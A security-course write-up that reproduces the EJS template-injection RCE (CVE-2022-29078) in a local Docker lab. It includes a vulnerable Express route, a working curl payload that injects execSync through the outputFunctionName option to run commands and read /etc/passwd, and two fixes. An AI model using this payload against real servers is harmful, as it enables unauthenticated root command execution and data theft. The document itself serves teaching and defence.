
White Hat School 4th (Class 32) - Sangbeom Woo (@taka3636)
EJS < 3.1.7 server-side template injection (SSTI) vulnerability (CVE-2022-29078) allows remote arbitrary command execution (RCE) without authentication. This document configures a vulnerable environment with Docker, reproduces RCE with a PoC, and verifies two countermeasures (library upgrade and safe input passing).
EJS (Embedded JavaScript templates) is a widely used template engine in the Node.js ecosystem. It creates dynamic screens by inserting JavaScript into HTML using <% %> tags, such as <h1>Hello <%= id %></h1>. Internally, EJS compiles the template string into a JavaScript function and then executes it to generate the final HTML. In other words, it is a code generator that "converts text (template) into executable code (function)", and this property is the fundamental background of this vulnerability.
EJS < 3.1.7 inserts the value of the render option outputFunctionName into the compiled function source without validation. If the application passes user input directly as a render option, an attacker can contaminate this option to execute arbitrary code (RCE) on the server. The server can be fully compromised remotely without authentication, making the severity very high.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 fixed3.1.6 (pinned exactly without caret/tilde — using ^/~ would install patched version, making reproduction impossible)4.18.2docker compose up -d --build.

The attack is possible when the following two conditions hold simultaneously.
< 3.1.7 inserts outputFunctionName into code without validation// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
Express passes user input (req.query) entirely as render options to EJS in res.render('page', req.query). At this point, the qs parser parses bracket notation like settings[view options][outputFunctionName] as nested objects, and that value gets merged into the EJS compile option outputFunctionName. In other words, the code (function) planted by the user in the option slot gets attached to the options and passed along to EJS. EJS inserts this value before the compiled function as follows:
var <outputFunctionName값> = __append;
If the value is legitimate, it's harmless like var myOut = __append;, but if you break the statement with a semicolon and insert code, that code will execute as-is when the compiled function runs. By placing execSync(...) at this position, you can read specific files or execute system commands.
Prerequisites: Docker + Docker Compose installed, internet connection during build.
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — Uses outputFunctionName option injection to execute three commands on the server and retrieve the results. [1] id (execution entity), [2] /etc/passwd (arbitrary file read), [3] uname (execution location).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : Mandatory to prevent URL brackets from being interpreted as glob (without it, curl: (3) bad range)%20, redirect > %3EResult of running poc.sh. A normal request (id=world) returns only Hello world, but the commands injected via outputFunctionName injection are executed on the server and their output is retrieved.

id → uid=0(root) gid=0(root) : Injected commands are executed with root privileges./etc/passwd → The system account file contents are returned as-is: Arbitrary files on the server can be read (confidentiality breach).uname → The hostname is 326f6f1b04b3 (container ID), different from the VM hostname (ubuntu-QEMU-Virtual-Machine): This proves that the command was executed inside the container, not on the host. In other words, root privileges are not due to sudo but stem from the vulnerable server process (container node = default root).With a single unauthenticated remote request, root privilege command execution and arbitrary file read are possible = CVE-2022-29078.
Countermeasure 1 — Library Upgrade (Fundamental Fix)
Upgrade ejs in package.json to 3.1.7 or higher. 3.1.7+ validates outputFunctionName with the regex /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rejecting non-identifier characters like semicolons, so the same attack is blocked before code execution.
Error: outputFunctionName is not a valid JS identifier.


Countermeasure 2 — Safe Input Passing (Application Defense)
Even with the vulnerable version (3.1.6), if you pass only the necessary values instead of user input entirely, the settings[view options] merge path disappears, making option contamination impossible. Normal functionality is maintained.
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


Recommendation: Apply both library updates (fundamental fix) and minimal user input passing (defense in depth). Additionally, running the container as a non-root user can reduce the damage scope in case of RCE.